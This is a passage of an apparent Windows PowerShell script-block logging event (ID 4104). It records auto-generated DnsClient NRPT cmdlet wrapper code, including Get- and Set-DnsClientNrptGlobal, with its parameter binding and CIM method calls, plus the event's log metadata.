[Alias('DirectAccessQueryIPSSECEncryption')]
[AllowEmptyString()]
[AllowNull()]
[ValidateSet('','None','Low','Medium','High')]
[string]
${DAIPsecEncryptionType},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessProxyName')]
[string]
${DAProxyServerName},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[Alias('DnsSecEnabled')]
[switch]
${DnsSecEnable},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[Alias('DnsSecQueryIPsecRequired')]
[switch]
${DnsSecIPsecRequired},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[Alias('DnsSecQueryIPsecEncryption')]
[AllowEmptyString()]
[AllowNull()]
[ValidateSet('','None','Low','Medium','High')]
[string]
${DnsSecIPsecEncryptionType},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[string[]]
${NameServers},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[ValidateSet('Disable','Utf8WithMapping','Utf8WithoutMapping','Punycode')]
[string]
${NameEncoding},
[Parameter(ParameterSetName='Add0', Mandatory=$true, Position=1, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string[]]
${Namespace},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[string]
${Server},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessProxyType')]
[AllowEmptyString()]
[AllowNull()]
[ValidateSet('','NoProxy','UseDefault','UseProxyName')]
[string]
${DAProxyType},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[switch]
${DnsSecValidationRequired},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessEnabled')]
[switch]
${DAEnable},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[Alias('IPsecCARestriction')]
[string]
${IPsecTrustAuthority},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[string]
${Comment},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[string]
${DisplayName},
[Parameter(ParameterSetName='Add0')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${PassThru},
[Parameter(ParameterSetName='Add0')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Add0')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Add0')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('GpoName')) {
[object]$__cmdletization_value = ${GpoName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DANameServers')) {
[object]$__cmdletization_value = ${DANameServers}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DANameServers'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DANameServers'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DAIPsecRequired')) {
[object]$__cmdletization_value = ${DAIPsecRequired}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAIPsecRequired'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAIPsecRequired'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DAIPsecEncryptionType')) {
[object]$__cmdletization_value = ${DAIPsecEncryptionType}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAIPsecEncryptionType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAIPsecEncryptionType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DAProxyServerName')) {
[object]$__cmdletization_value = ${DAProxyServerName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAProxyServerName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAProxyServerName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DnsSecEnable')) {
[object]$__cmdletization_value = ${DnsSecEnable}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecEnable'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecEnable'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DnsSecIPsecRequired')) {
[object]$__cmdletization_value = ${DnsSecIPsecRequired}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecIPsecRequired'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecIPsecRequired'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DnsSecIPsecEncryptionType')) {
[object]$__cmdletization_value = ${DnsSecIPsecEncryptionType}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecIPsecEncryptionType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecIPsecEncryptionType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NameServers')) {
[object]$__cmdletization_value = ${NameServers}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NameServers'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NameServers'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NameEncoding')) {
[object]$__cmdletization_value = ${NameEncoding}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NameEncoding'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NameEncoding'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Namespace')) {
[object]$__cmdletization_value = ${Namespace}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Namespace'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Namespace'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Server')) {
[object]$__cmdletization_value = ${Server}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DAProxyType')) {
[object]$__cmdletization_value = ${DAProxyType}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAProxyType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAProxyType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DnsSecValidationRequired')) {
[object]$__cmdletization_value = ${DnsSecValidationRequired}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecValidationRequired'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecValidationRequired'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DAEnable')) {
[object]$__cmdletization_value = ${DAEnable}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAEnable'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAEnable'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[objec
ScriptBlock ID: f0f2698f-290b-4123-a005-bbee261dfcee
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1962 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:10 AM | dfeadd90-ee34-0002-defe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'root/Microsoft/Windows/DNS/PS_DnsClientNrptGlobal'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-DnsClientNrptGlobal
{
[CmdletBinding(PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])][OutputType('Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptGlobal')]
param(
[Parameter(ParameterSetName='Get0', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${Server},
[Parameter(ParameterSetName='Get0', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${GpoName},
[Parameter(ParameterSetName='Get0')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Get0')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Get0')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Server')) {
[object]$__cmdletization_value = ${Server}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('GpoName')) {
[object]$__cmdletization_value = ${GpoName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameter.ParameterTypeName = 'Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptGlobal'
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.Int32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Get', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP PS_DnsClientNRPTGlobal_v1.0.0.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-DnsClientNrptGlobal' -Alias '*'
function Set-DnsClientNrptGlobal
{
[CmdletBinding(SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])][OutputType('Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptGlobal')]
param(
[Parameter(ParameterSetName='Set1', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('EnableOnNetworkID','EnableAlways','Disable','DisableDA')]
[string]
${EnableDAForAllNetworks},
[Parameter(ParameterSetName='Set1', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${GpoName},
[Parameter(ParameterSetName='Set1', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('Disable','FallbackSecure','FallbackUnsecure','FallbackPrivate')]
[string]
${SecureNameQueryFallback},
[Parameter(ParameterSetName='Set1', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('Disable','QueryIPv6Only','QueryBoth')]
[string]
${QueryPolicy},
[Parameter(ParameterSetName='Set1', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${Server},
[Parameter(ParameterSetName='Set1')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${PassThru},
[Parameter(ParameterSetName='Set1')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Set1')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Set1')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('EnableDAForAllNetworks')) {
[object]$__cmdletization_value = ${EnableDAForAllNetworks}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'EnableDAForAllNetworks'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'EnableDAForAllNetworks'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('GpoName')) {
[object]$__cmdletization_value = ${GpoName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('SecureNameQueryFallback')) {
[object]$__cmdletization_value = ${SecureNameQueryFallback}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SecureNameQueryFallback'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SecureNameQueryFallback'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('QueryPolicy')) {
[object]$__cmdletization_value = ${QueryPolicy}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'QueryPolicy'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'QueryPolicy'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Server')) {
[object]$__cmdletization_value = ${Server}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameter.ParameterTypeName = 'Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptGlobal'
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.Int32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Set', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
